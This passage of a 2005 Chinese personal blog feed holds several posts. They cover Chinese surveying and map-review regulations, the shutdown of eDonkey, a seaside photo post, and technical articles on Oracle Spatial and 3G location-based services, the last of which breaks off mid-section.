测绘成果不得擅自复制、转让或者转借。确需复制、转让或者转借测绘成果的，必须经提供该测绘成果的部门批准；复制保密的测绘成果，还必须按照原密级管理。 <BR>受委托完成的测绘成果，受托单位未经委托单位同意不得复制、翻印、转让、出版。<BR>第十四条 国务院有关部门对外提供中华人民共和国未公开的测绘成果，必须报经国务院测绘行政主管部门批准。地方有关部门和单位对外提供中华人民共和国未公开的测绘成果，必须报经省、自治区、直辖市人民政府测绘行政主管部门批准。为了确保重要军事设施的安全保密，各送审单位对外提供未公开的测绘成果的具体办法，按国务院的有关规定执行。 <BR>第十五条 中华人民共和国境内及境外属中华人民共和国管辖海域内的重要地理数据（包括位置、高程、深度、面积、长度等），应当经国务院测绘行政主管部门审核报国务院批准后，由国务院或者其授权部门发布。<BR>第十六条 对测绘成果管理做出重大贡献或者显著成绩的单位和个人，予以表扬或者奖励。<BR>第十七条 测绘成果质量不合格给用户造成损失的，由该测绘成果的测绘单位赔偿直接经济损失，并负责补测或者重测；情节严重的，由测绘行政主管部门处以罚款或者取消其相应的测绘资格。<BR>第十八条 有下列行为之一的单位，按以下规定，给予行政处罚：<BR>（一）对违反国家规定的测绘成果收费标准，擅自提价收取测绘成果费用的，依照《中华人民共和国价格管理条例》的规定没收其非法所得，可以并处相当于非法所得金额三至五倍的罚款；<BR>（二）对发生重大测绘成果泄密事故的，由测绘行政主管部门给予通报批评，并按本规定第十九条规定追究单位负责人的责任；<BR>（三）对未经提供测绘成果的部门批准，擅自复制、转让或者转借测绘成果的，由测绘行政主管部门给予通报批评，可以并处罚款。 <BR>第十九条 有下列行为之一的个人，由其所在单位或者该单位的上级主管机关给予行政处分；构成犯罪的，由司法机关依法追究刑事责任： <BR>（一）丢失保密测绘成果，或者造成测绘成果泄密事故的；<BR>（二）未按本规定第十四条规定履行报批手续，擅自对外提供未公开的测绘成果的；<BR>（三）测绘成果管理人员不履行职责，致使测绘成果遭受重大损失，或者擅自提供未公开的测绘成果的；<BR>（四）测绘成果丢失或者泄密造成严重后果以及对造成测绘成果丢失或者泄密事故不查处的单位负责人。<BR>第二十条 当事人对行政处罚决定不服的，可以在接到处罚通知次日起十五日内，向作出处罚决定部门的上级行政主管部门申请复议；对复议决定不服的，可以在接到复议决定次日起十五日内，向人民法院起诉；当事人也可以在接到处罚通知次日起十五日内，直接向人民法院起诉，期满不起诉又不执行的，由作出处罚决定的行政主管部门申请人民法院强制执行。<BR>第二十一条 省、自治区、直辖市人民政府，国务院有关部门和军队，可以依照本规定结合实际制定实施办法。<BR>第二十二条 本规定由国务院测绘行政主管部门负责解释。<BR>第二十三条 本规定自一九八九年五月一日起施行。</FONT></P></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=69" /> 
	  <id>http://www.openx.cn/default.asp?id=69</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[地图受理审核程序规定]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-10-11T19:33:38+08:00</updated>
	  <published>2005-10-11T19:33:38+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="95%" align=center border=0>
<TBODY>
<TR>
<TD class=head>地图受理审核程序规定<BR><FONT color=#000000>
<H5>(国家测绘局2003年8月25日发布)</H5></FONT></TD></TR>
<TR>
<TD><BR>
<DIV align=center><B>第一章　总　则</B></DIV>
<P>第一条　为进一步规范地图受理审核工作程序，依据《中华人民共和国地图编制出版管理条例》、《地图审核管理办法》，制定本规定。 
<P>第二条　国家测绘局地图管理职能部门（以下简称国家局地图管理部门）负责各省、自治区、直辖市测绘行政主管部门（以下简称省级测绘行政主管部门）以及国务院有关部门转报的送审图件和在京中央单位送审图件的审核工作，指导并监督全国的地图审核工作。 
<P>国家测绘局地图技术审查中心（以下简称审查中心）负责对送审图件进行技术审查和咨询工作。 <BR>
<DIV align=center><B>第二章　受　理</B></DIV>
<P>第三条　地图送审单位除按照《地图审核管理办法》有关内容提交材料外，还应根据地图内容不同向国家局地图管理部门提交以下相关材料： 
<P>1．省级测绘行政主管部门或省级以上有关部门转报的有关地图审核的文件。 
<P>2．地图编制单位的测绘资质（编图内容所要求资质的）和地图编制选题的审核批准证明。 
<P>3．比例尺大于或等于1：25万的公开版地图，需提交按照国家对外提供测绘成果有关规定进行保密审查意见。 
<P>4．列入教育行政主管部门中小学教学用书目录的教学地图，需提交经教育行政主管部门批准的教材编写立项的有关证明。 
<P>5．省级以上新闻出版行政主管部门批准的教辅教材出版范围的证明。 
<P>6．对外加工的送审图件，需提交省级测绘行政主管部门的证明、加工厂家与外商签订的合作协议和由外商提供的底图证明。 
<P>7．公开出版的地图需提交版权页和图书书名页。 
<P>第四条　国家局地图管理部门在收到送审图件及相关材料后的5个工作日内，决定是否予以受理。予以受理的，签发地图技术审查通知书。不予受理的，应以书面形式说明原因并及时通知送审单位，并退还送审图件及相关材料。 
<P>第五条　需要送外交部审核的历史地图、世界地图、时事宣传地图和其他送审图件，在受理后由国家局地图管理部门负责转送。 <BR>
<DIV align=center><B>第三章　技术审查</B></DIV>
<P>第六条　审查中心根据地图技术审查通知书，依据1：100万国界线标准样图，省、自治区、直辖市和自治州、县、自治县、市行政区域界线标准画法图和《公开地图内容表示若干规定》等对送审图件进行技术审查。 
<P>第七条　审查中心应当在２O个工作日内完成地图技术审查工作。因一次性送审图件数量较多和送审图件集中而不能按期完成技术审查时，审查中心应在接收送审图件时向国家局地图管理部门提出。 
<P>第八条　审查中心完成送审图件的技术审查后，应向送审单位出具地图技术检定书。送审单位对地图技术检定书有异议的，应在收到送审图件后的5个工作日内向国家局地图管理部门提出。 
<P>第九条　换发审图号和批准号的图件，审查中心应在5个工作日内答复国家局地图管理部门意见，未在规定期限内答复的，视为同意。 
<P>第十条　审查中心负责保管送审图件和地图技术检定书等有关材料。送审祥图保管期限为10年，出版、生产备案图件保管期限为3年。<BR>
<DIV align=center><B>第四章　协助审查</B></DIV>
<P>第十一条　国家局地图管理部门受理的地方性地图，除进行正常的地图审核，还需将该图送地图内容表现地的省级测绘行政主管部门进行行政区域变更以及保密和现势内容的协助审查（以送审单位所用的资料截止日期为准）。省级测绘行政主管部门受理本区域地图涉及国界线的，除进行正常的地图审核，还需将送审图件送国家局地图管理部门协助对国界线画法进行审核。 
<P>第十二条　国家局地图管理部门和省级测绘行政主管部门在收到送审图件之日起15个工作日内完成协助审查工作。承担协助审查工作的部门不能在规定期限内完成审查工作的，应在收到图件后的3个工作日内向受理该图件的部门提出，未提出延期审查，又未在规定期限内提出审查意见的，视为同意。（收到送审图件的日期以邮戳上的收到日期为准） 
<P>第十三条　对送审图件和相关材料有疑问的，国家局地图管理部门或省级测绘行政主管部门可直接向地图受理部门提出。<BR>
<DIV align=center><B>第五章　批　准</B></DIV>
<P>第十四条　送审图件经审查符合规定的，由国家局地图管理部门签发国家测绘局地图审核批准通知‘书（以下简称“通知书”）或国家测绘局地图图形审核批准书（以下简称“批准书”），不符合规定的，由国家局地图管理部门签发国家测绘局地图退审通知书。 
<P>第十五条　送审图件内容需要修改的，国家局地图管理部门可委托送审单位所在地的省级测绘行政主管部门，负责送审单位修改后的复审，并将复审意见函告国家局地图管理部门。经国家局地图管理部门核准，签发通知书或批准书。需要加封样品的，国家局地图管理部门可委托省级测绘行政主管部门加盖印章，予以加封。 
<P>第十六条　国家局地图管理部门签发的通知书或批准书有效期为两年。有效期满需继续再版、再生产的，应提前报国家局地图管理部门备案复审、核发新的通知书或批准书。对外加工生产的送审图件，其审核批准有效期限应与商务、海关部门规定的期限一致。 
<P>第十七条　国家局地图管理部门对审查中心出具的地图技术检定书或地图技术内容有异议的，在收到送审图件及有关材料后的2个工作日内退回审查中心。 
<P>第十八条　送审单位对国家局地图管理部门或省级测绘行政主管部门出具的审核意见文件（通知书、批准书等）有异议的，可以在收到图件后的5个工作日内，向出具审核文件的部门申请复审。 
<P>第十九条　经国家局地图管理部门审核批准图件的名称、审图号和批准号在国家测绘局网站上刊登。 
<P>第二十条　由省级测绘行政主管部门审核批准的送审图件，按照《测绘统计报表制度》中相关统计要求报国家局地图管理部门备案一份。 
<P>第二十一条　国家局地图管理部门负责保管地图受理审核批件等有关材料，保管期限为10年。<BR>
<DIV align=center><B>第六章　附则</B></DIV>
<P>第二十二条　本规定由国家测绘局负责解释。 
<P>第二十三条　本规定自颁布之日起施行。 
<P>　　　　　　　　　　　　　　　　　　　　　　　　　　　　　二 O O三年八月二十五日 
<P>附：<A href="http://www.sbsm.gov.cn/dbfile/32/ditushouli.doc" target=_blank> 国家测绘局受理地图审核表</A> <BR></P></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=68" /> 
	  <id>http://www.openx.cn/default.asp?id=68</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[“电驴”因版权受指控将正式关闭]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-11T08:14:00+08:00</updated>
	  <published>2005-10-11T08:14:00+08:00</published>
		  <summary type="html"><![CDATA[<P align=center>[img]http://www.pcpchina.com/news/pics/logos/emule.gif[/img]</P>
<P>CDFREAKS新闻，近日，全球流量最大的P2P网络eDonkey（电驴），由于盗用版权而受到美国唱片工业协会（RIAA）指控，已于近日宣布将正式关闭。该网站投资公司MetaMachine的首席执行官Sam　Yagan在美国参议院司法听证会上称：“关闭网站并不意味着我们承认自己有罪，只是我们支付不起昂贵的诉讼费来证明自己清白”<BR><BR>Sam表示“电驴”公司目前有两种选择，要么取得唱片公司的授权，要么和一些已获得授权的公司合作。这样一旦“电驴”变成一家在线音乐商店，公司将采取积极的行销手段，吸引用户为下载音乐而付费。他认为，WinMX和“电驴”网站的关闭意味着P2P技术在美国的终结，但P2P技术在美国之外仍将流行。他还在在接受当地媒体采访时表示，要花费大量金钱证明自己无罪已经成为许多小公司“不能承受之重”，这一障碍使得他们被排除在市场之外。小公司面临的问题不是如何发展，而是如何生存下去。<BR><BR>摘：<A href="http://www.pcpchina.com/news/list.asp?id=10523">http://www.pcpchina.com/news/list.asp?id=10523</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=67" /> 
	  <id>http://www.openx.cn/default.asp?id=67</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[浪岐游]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-10-09T16:10:17+08:00</updated>
	  <published>2005-10-09T16:10:17+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/20051009/001.jpg[/img]</P>
<P>海边的岩石上</P>
<P>[img]attachments/20051009/002.jpg[/img]</P>
<P>蓝天沙滩</P>
<P>[img]attachments/20051009/003.jpg[/img]</P>
<P>用来抓鲟的</P>
<P>[img]attachments/20051009/004.jpg[/img]</P>
<P>一望无际------的螃蟹洞洞</P>
<P>[img]attachments/20051009/005.jpg[/img]</P>
<P>[img]attachments/20051009/009.jpg[/img]</P>
<P>实在是一望无际,在这地方就这词啦~</P>
<P>[img]attachments/20051009/006.jpg[/img]</P>
<P>阿姨家养蛰池,其实我象拍蓝天的啦</P>
<P>[img]attachments/20051009/007.jpg[/img]</P>
<P>美味呀~~~~~~</P>
<P>[img]attachments/20051009/008.jpg[/img]</P>
<P>金刚腿</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=66" /> 
	  <id>http://www.openx.cn/default.asp?id=66</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[利用Oracle Spatial实现位置服务]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-08T17:08:25+08:00</updated>
	  <published>2005-10-08T17:08:25+08:00</published>
		  <summary type="html"><![CDATA[<P align=center><STRONG>利用Oracle Spatial实现位置服务</STRONG><BR><SPAN class=main><BR>文/郑万疆</SPAN></P>
<P class=main align=justify>　　<STRONG>摘 要：</STRONG>本文介绍了如何用Oracle Spatial建立一空间数据库，并对数据库中的数据进行操作，然后根据经纬度坐标结合Oracle Spatial空间信息转化对应的电子地图地址。<BR><BR>　　<STRONG>关键词：</STRONG>Oracle, Spatial, LBS, GIS, 数据库, 电子地图，位置服务<BR><BR>　　<STRONG>一、引言</STRONG> <BR><BR>　　基于位置服务LBS(Location-Based Services)包括紧急救助、跟踪服务、交通导航、城市地图、基于位置信息的定点内容广播等。美国日本先后在2001年涉足这一业务的服务，而且市场前景非常广阔。<BR><BR>　　由于完整的基于位置的服务需要将无线网络基础设施、具有定位功能的设备、灵活的平台以及各种与确定位置有关的应用程序和内容都结合在一起，因而这个市场的参与者正在与基于位置的服务价值链中关键的厂商建立最好的合作伙伴关系。语音指路辅助服务、寻找朋友和移动看门服务等面向消费者的应用将为采用基于位置的服务提供最初的动力。此外，商业部门也已经在研究石油、电信、公安、水利、交通等行业的专用解决方案，如跟踪服务、劳动力管理和安全应用等。<BR><BR>　　Oracle Spatial是Oracle公司推出的空间数据库组件，通过Oracle数据库系统存储和管理空间数据。 Oracle从9i开始对空间数据提供了较为完备的支持，尤其在10g又添加了很多功能。<BR>本文介绍Oracle Spatial的基本实用方法，然后根据经、纬度坐标结合Oracle Spatial空间信息转化对应的电子地图地址。</P>
<P class=main>　　<STRONG>二、Oracle Spatial基本操作</STRONG><BR><BR>　　Oracle Spatial主要通过<STRONG>元数据表、空间数据字段</STRONG>（即sdo_Geometry字段）和空间索引来管理空间数据，并在此基础上提供一系列<STRONG>空间查询和空间分析</STRONG>的程序包，让用户进行更深层次的GIS应用开发。Oracle Spatial使用空间字段sdo_Geometry存储空间数据，用元数据表来管理具有sdo_Geometry字段的空间数据表，并采用R树索引和四叉树索引技术来提高空间查询和空间分析的速度。 <BR><BR>　<STRONG>　1、元数据表说明</STRONG><BR><BR>　　Oracle Spatial的元数据表存储了有空间数据的<STRONG>数据表名称、空间字段名称、空间数据的坐标范围、坐标系</STRONG>以及<STRONG>坐标维数说明</STRONG>等信息。用户必须通过元数据表才能知道Oracle数据库中是否有Oracle Spatial的空间数据信息。通过<STRONG>元数据视图</STRONG>（USER_SDO_GEOM_METADATA）访问元数据表。元数据视图的基本定义为：<BR><BR>[img]http://www.gisforum.net/magazine/images/picrdjs01.gif[/img]</P>
<P class=main><STRONG>　　2、空间字段解析<BR><BR></STRONG>　　Oracle Spatial的空间数据都存储在空间字段sdo_Geometry中，理解sdo_Geometry是编写Oracle Spatial程序的关键。sdo_Geometry是按照Open GIS规范定义的一个对象，其原始的创建方式如下所示。<BR><BR>[img]http://www.gisforum.net/magazine/images/picrdjs02.gif[/img]</P>
<P class=main>　　① sdo_Gtype<BR><BR>　　是一个NUMBER型的数值，用来定义存储几何对象的类型。sdo_Gtype是一个4个数字的整数，其格式为dltt，其中d表示几何对象的维数；l表示三维线性参考系统中的线性参考值，当d为3维或者4维时需要设置该值，一般情况下为空；tt为几何对象的类型，Oracle Spatial定义了7种类型的几何类型，目前，tt使用了00到07，其中08到99是Oracle Spatial保留的数字，以备将来几何对象扩展所用。<BR><BR>[img]http://www.gisforum.net/magazine/images/picrdjs03.gif[/img]</P>
<P class=main>　　 ② sdo_Srid<BR><BR>　　sdo_Srid也是一个NUMBER型的数值，它用于标识与几何对象相关的空间坐标系。如果sdo_Srid为空（null），则表示没有坐标系与该几何对象相关；如果该值不为空，则该值必须为MDSYS.CS_SRS表中SRID字段的一个值，在创建含有几何对象的表时，这个值必须加入到描述空间数据表元数据的USER_SDO_GEOM_METADATA视图的SRID字段中。对于我们通常使用国际标准的Longitude/Latitude(8307)，Oracle Spatial规定，一个几何字段中的所有几何对象都必须为相同的sdo_Srid值。 <BR><BR>　　③ sdo_Point<BR><BR>　　 sdo_Point是一个包含三维坐标X,Y,Z数值信息的对象，用于表示几何类型为点的几何对象。如果sdo_Elem_Info和SDO_ORDINATES数组都为空，则sdo_Point中的X,Y,Z为点对象的坐标值，否则，sdo_Point的值将被忽略（用NULL表示）。Oracle Spatial强烈要求用sdo_Point存储空间实体为点类型空间数据，这样可以极大的优化Oracle Spatial的存储性能和查询效率。 <BR><BR>　　④ sdo_Elem_Info<BR><BR>　　sdo_Elem_Info是一个可变长度的数组，每3个数作为一个元素单位，用于表示坐标是如何存储在SDO_ORDINATES数组中的。本文把组成一个元素的3个数称为3元组。一个3元组包含以下3部分的内容：<BR>　　<BR>　　◇ SDO_STARTING_OFFSET<BR><BR>　　SDO_STARTING_OFFSET 表明每个几何元素的第一个坐标在SDO_ORDINATES数组中的存储位置。它的值从1开始，逐渐增加。<BR><BR>　　◇ SDO_ETYPE <BR><BR>　　SDO_ETYPE 用于表示几何对象中每个组成元素的几何类型。当它的值为1, 2, 1003和2003时，表明这个几何元素为简单元素。如果SDO_ETYPE为1003，表明该多边形为外环（第一个数为1表示外环），坐标值以逆时针存储；如果SDO_ETYPE为2003，表明该多边形为内环（第一个数为2表示内环），坐标值以顺时针存储。当SDO_ETYPE为4, 1005和2005时，表明这个几何元素为复杂元素。它至少包含一个3元组用以说明该复杂元素具有多少个几何简单元素。同样，1005表示多边形为外环，坐标值以逆时针存储；2005表示多边形为内环，坐标值以顺时针存储。 <BR><BR>　　◇ SDO_INTERPRETATION<BR><BR>　　SDO_INTERPRETATION具有两层含义，具体的作用由SDO_ETYPE是否为复杂元素决定。如果SDO_ETYPE是复杂元素（4, 1005和2005），则SDO_INTERPRETATION表示它后面有几个子3元组属于这个复杂元素。如果SDO_ETYPE是简单元素（1, 2, 1003和2003），则SDO_INTERPRETATION表示该元素的坐标值在SDO_ORDINATES中是如何排列的。<BR><BR>　　需要注意的是，对于复杂元素来说，组成它的子元素是连续的，一个子元素的最后一个点是下一个子元素的起点。最后一个子元素的最后一个坐标要么与下一个元素的SDO_STARTING_OFFSET值减1所对应的坐标相同，要么是整个SDO_ORDINATES数组的最后一个坐标。<BR><BR>[img]http://www.gisforum.net/magazine/images/picrdjs04.gif[/img]</P>
<P class=main>　　⑤ sdo_Ordinates<BR><BR>　　SDO_ORDINATES是一个可变长度的数组，用于存储几何对象的实际坐标，是一个最大长度为1048576，类型为Number的数组。<BR>　<BR>　　SDO_ORDINATES必须与sdo_Elem_Info数组配合使用，才具有实际意义。SDO_ORDINATES的坐标存储方式由几何对象的维数决定，如果几何对象为二维，则SDO_ORDINATES的坐标以{ x1, y1, x2, y2, …}顺序排列，如果几何对象为三维，则SDO_ORDINATES的坐标以{x1, y1, z1, x2, y2, z2, …}的顺序排列。 <BR><BR>　　<STRONG>3、空间索引技术：</STRONG><BR><SPAN class=main><BR>　　Oracle Spatial提供R树索引和四叉树索引两种索引机制来提高空间查询和空间分析的速度。用户需要根据不同空间数据类型创建不同的索引，当空间数据类型比较复杂时，如果选择索引类型不当，将使Oracle Spatial创建索引的过程变得非常慢。 </SPAN></P>
<P><SPAN class=main><STRONG>三、将经纬度转化成地名</STRONG><BR><BR>　　目前各类位置服务LBS最终返回的都是误差允许范围内的经纬度，如GPS车载终端，手机定位等移动设备，系统通过一定的技术算法可以将其转化成具体的地名或附近的地标。或根据需要返回当前位置用户关心的周边信息：如医院、宾馆、加油站、公交车站等内容。<BR><BR>　　 <STRONG>1、空间数据到Oracle Spatial的导入</STRONG><BR><BR>　　当前专题空间数据库建立的过程包括技术设计、资料准备、数据获取和数据入库等内容。数据的获取常可利用现有的GIS 专业软件如GeoStar、MAPGIS、SUPERMAP、ARCGIS 等来实现，获得的数据通过某一空间数据引擎(如Easyloader)上载到Oracle 数据库中，实现利用Oracle Spatial 存储、管理空间数据。MAPORA 引擎是把MAPGIS 的明码格式通过编程实现空间数据上载Oracle Spatial 的一种方法。<BR><BR>　　<STRONG>2、定位服务的整个流程</STRONG></SPAN><BR></P>
<P>[img]http://www.gisforum.net/magazine/images/picrdjs05.gif[/img]</P>
<P><SPAN class=main>　　<STRONG>3、Oracle Spatial关联用到的程序包：</STRONG><BR><BR>　　◆ sdo_Geom.Relate(sdo_Geometry1, ‘MASK’, sod_Geometry2, tolerance )：用于判断一个几何体与另一个几何体的关系，我们用于判断当前点是否在某一个面(省份面、县市面、乡镇面)上。<BR><BR>　　◇ sdo_Geometry1，sdo_Geometry2为空间数据对应的几何对象。<BR><BR>　　◇ Tolerance: 容许的精度范围；<BR><BR>　　◇ MASK＝Anyinteract/Contains/Coveredby/Covers/Disjo&#105;nt/<BR><BR>　　　　○ Anyinteract: sdo_Geometry2落在sdo_Geometry1面上包括在边上。<BR><BR>　　　　○ Contains: sdo_Geometry2完全包含在sdo_Geometry1几何对象中，并且两个几何对象的边没有交叉。<BR><BR>　　　　○ Coveredby: sdo_Geometry1完全包含在sdo_Geometry2中，并且这两个几何对象的边有一个或多个点相互重叠。<BR><BR>　　　　○ Covers: sdo_Geometry2完全包含在sdo_Geometry1中，并且这两个几何对象的边有一个或多个点相互重叠。<BR><BR>　　　　○ Disjo&#105;nt: 两个几何没有重叠交叉点，也没有共同的边。<BR><BR>　　　　○ Equal: 两个几何是相等的。<BR><BR>　　　　○ Inside: sdo_Geometry1完全包含在sdo_Geometry2几何对象中，并且两个几何对象的边没有交叉。<BR><BR>　　　　○ On: sdo_Geometry1的边和内部的线完全在sdo_Geometry2上。<BR><BR>　　　　○ Overlapbdydisjo&#105;nt: 两个几何对象交迭，但是边没有交叉。<BR><BR>　　　　○ Overlapbdyintersect: 两个几何对象交迭，并且边有部分交叉。<BR><BR>　　　　○ Touch: 两个几何对象有共同的边，但没有交叉。<BR><BR>　　◆ sdo_nn( sdo_Geometry1, sdo_Geometry2, ‘sdo_num_res’, Tolerance )：用于返回几何体sdo_Geometry2周边附近有什么其他几何体集。<BR><BR>　　◇ sdo_Geometry1，sdo_Geometry2为空间数据对应的几何对象。<BR><BR>　　◇ Tolerance: 容许的精度范围；<BR><BR>　　◇ sdo_num_res＝n: 表示返回n个几何体，＝1表示只返回一个。<BR><BR>　　◆ sdo_Geom.Within_Distance(sdo_Geometry1, Distance, sdo_Geometry2, Tolerance, ’unit’ )用于判断几何体sdo_Geometry2在指定的距离Distance内周边附近有什么其他几何体集。<BR><BR>　　◇ sdo_Geometry1，sdo_Geometry2为空间数据对应的几何对象。<BR><BR>　　◇ Tolerance: 容许的精度范围；<BR><BR>　　◇ Distance: 指定的距离；<BR><BR>　　◇ Unit: 用于表示距离的单位，可能是Unit=M/ Unit=KM等长度单位，但必须是SDO_DIST_UNITS表中列举出来的单位之一。</SPAN></P>
<P class=main><STRONG>　　4、返回的信息：</STRONG><BR><BR>　　返回的信息根据业务需要可以返回空间信息关联到的所有信息，然后用三段论方式组合成一段话，通过SMS等方式返回到移动终端。<BR><BR>　　◆ 可以是当前位置的地名、城市地标、自定义地标、道路名称等位置信息； <BR><BR>　　◆ 可以是当前位置的周边信息：医院、宾馆、加油站、公交车站等；</P>
<P><SPAN class=main><STRONG>四、结束语</STRONG><BR><BR>　　 采用Oracle Spatial 存储、管理空间数据，易于解决数据共享、分布式处理、网络通信、开放式开发、并发控制、网络化集成、跨平台运行及数据安全恢复机制等方面的难题。<BR><BR>　　可以直接通过Oracle Spatial 具有强大空间分析 进行空间分析：最短路径分析、连通性分析、交通系统中最少换乘算法及其实现等。<BR><BR>　　LBS业务具有广阔的发展前景，目前商用的LBS业争也达到了相当程度的渗透率。LBS业务涉及的领域很多，需要移动通信领域与GIS领域相结合来共同实现。我国目前很重视GIS领域的发展，国内已经有相当多具有一定实力和发展潜力的GIS厂商。相信随着今后LBS业务需求的不断增长，以及我国GIS领域的不断发展完善，LBS业务将得到更广泛的应用。</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=65" /> 
	  <id>http://www.openx.cn/default.asp?id=65</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在3G中实现LBS定位和GIS系统]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-08T16:59:55+08:00</updated>
	  <published>2005-10-08T16:59:55+08:00</published>
		  <summary type="html"><![CDATA[一、引言 
<P>&nbsp;&nbsp;&nbsp; 无线定位业务又称为位置业务(Location-Based Ser-vices，LBS)，是由移动通信网提供的一种增值业务，通过一组定位技术获得移动台的位置信息(如经纬度坐标数据)，提供给移动用户本人或他人以及通信系统，实现各种与位置相关的业务。狭义地说，LBS业务是通过无线通信网络获取无线用户的位置信息，在地理信息系统平台的支持下提供相应服务的一种无线增值业务。广义地说，只要是基于位置的信息服务均属于位置服务，有些业务可能与用户本身的位置无关，例如固定地点的天气、固定起始终止点之间的公交路线等。但在移动通信网中，LBS业务应用最多的应是与终端持有者本身的位置紧密相关的那些业务。<BR>　　目前，电信业竞争激烈，移动运营商在不断地寻找新的途径去创造新的利润点或者利润增长点。在各种移动增值业务当中，移动位置信息服务是最具市场潜力的一种。另一方面，随着我国私人汽车市场不断增长，以汽车移动通信平台的需求也将有很大的发展潜力，其中针对汽车的导航、跟踪等位置业务是今后一个非常具有发展潜力的市场。<BR><BR>　　就无线定位服务而言，在传统第二代无线通信网络上发展位置服务，由于二代系统数据传输能力较低，因此所能提供的定位服务类型也受到限制。而3G系统的数据传输能力比2G系统有很大提高，为向用户提供更丰富的信息提供了网络带宽的保证，使一些信息量较大的定位业务通过无线网络实现成为可能，如地图显示、实时导航，甚至3D地图服务等。LBS业务的类型多种多样，可以按照如下不同的分类方式划分：<BR><BR>　　(1)按业务请求方式划分<BR>　　·PULL类LBS业务：移动终端采用短消息、WAP接入等方式请求LBS；<BR>　　·PUSH类LBS业务：网络根据特定的条件，主动向移动终端推送信息。<BR><BR>　　(2)按是否与用户位置相关划分<BR>　　·与用户位置有关的LBS，需要进行定位；<BR>　　·与用户位置无关的LBS，无需定位。<BR><BR>　　(3)按照面向的用户划分<BR>　　·水平市场——大众应用；<BR>　　·垂直市场——行业应用。<BR><BR>　　(4)GIS系统中对定位服务功能的划分<BR>　　·地图服务，包括栅格地图和矢量地图；<BR>　　·路径搜索，包括最短路径查询、公交线路查询等；<BR>　　·地理编码/逆地理编码；<BR>　　·测算。<BR><BR>　　二、实现LBS应用的网络架构<BR><BR>　　(1)定位操作平台。通过各种定位技术来获取移动台的位置信息。<BR><BR>　　(2)LCS中间件。向SP提供定位服务接口，SP通过LCS中间件访问运营商的定位资源(GIS)，以及完成对LBS业务的计费、管理等功能。<BR><BR>　　(3)GIS系统。提供各种基于LBS应用的地理信息服务，包括地图服务、路径搜索、目录查询等。<BR><BR>　　(4)SP。面向最终用户提供LBS服务。<BR><BR>　　(5)CP。本文中所指的CP专指提供电子地图数据、POI(兴趣点)信息的内容提供商。<BR><BR>　　(6)终端。需要与网络交互完成定位操作(获取终端经纬度)，通过WAP/Java/BREW/SMS等方式与SP交互得到最终服务。对于矢量地图服务，终端需要内置矢量地图浏览器。<BR><BR>　　对于移动网络运营商来说，为了更好地开展LBS服务，首先需要建设定位操作平台。对于GIS系统，可以由SP/CP自己实现，但目前我国在基于LBS方式下的GIS系统的发展只是刚刚起步，因此由SP/CP自己实现GIS难度比较大。而且由SP/CP各自建立GIS对资源也是一种浪费，因此由运营商统一建设包括LCS中间件以及GIS系统，将对LBS应用的推广起到很大的推动作用。<BR><BR>　　三、定位技术<BR><BR>　　定位操作平台主要负责通过各种定位技术来获得终端的经纬度信息。目前，可供移动网络使用的定位技术多种多样，下面将以cdma2000系统上实现的定位技术为例，介绍各种定位技术的实现方式。<BR><BR>1基于网络的定位技术<BR><BR>　　在CDMA系统中，为了实现软切换，移动台在接收当前服务基站的信号的同时，需要不停地寻找来自其它基站的信号。如果发现来自其它基站的信号足够强，移动台需要确定来自不同基站信号的时间差，为合并两个信号做准备。移动台的这种能力为实现定位奠定了技术基础。定位操作平台可以通过CDMA网络获取到终端的这些信息(导频强度信息)进行定位。其它一些基于网络的技术能够提供更高的定位精度，例如测量移动台的环路时延、信号到达角度等，但这些技术都需要在基站上增加相应的测量设备，代价较高。<BR><BR>2　辅助GPS技术(AGPS)<BR><BR>　　辅助GPS技术主要依靠GPS卫星完成定位操作。移动台需要接收至少4个GPS卫星的信号，根据这些信息完成定位计算，并将计算结果报告给网络。对一般的GPS定位技术来说，需要GPS接收机在全空域范围内搜索可以使用的GPS卫星。通常这种搜索需要很长的时间，所以不能满足快速移动定位的需要。在辅助GPS技术中，网络可以根据移动台当前所在的小区，确定所在小区上空的GPS卫星，将这些信息提供给移动台。移动台根据这些信息，缩小搜索范围、缩短搜索时间，更快地完成可用卫星的搜索过程。搜索完成之后，移动台需要通过和网络的交互，将用于计算移动台位置的信息传送给网络，由网络计算移动台的位置。<BR><BR>3　混合定位技术<BR><BR>　　CDMA系统中使用的混合定位技术主要使用了前面提到的两种基于移动台的技术。一般来说，GPS技术能够提供很高的定位精度，但在很多情况下，移动台不能够捕获足够多的GPS卫星。这时候，移动台可以利用基站的信号补充卫星的不足。这样在降低一定精度的条件下，提高可用性，实现室内定位。<BR><BR>4　基于移动台的GPS定位<BR><BR>　　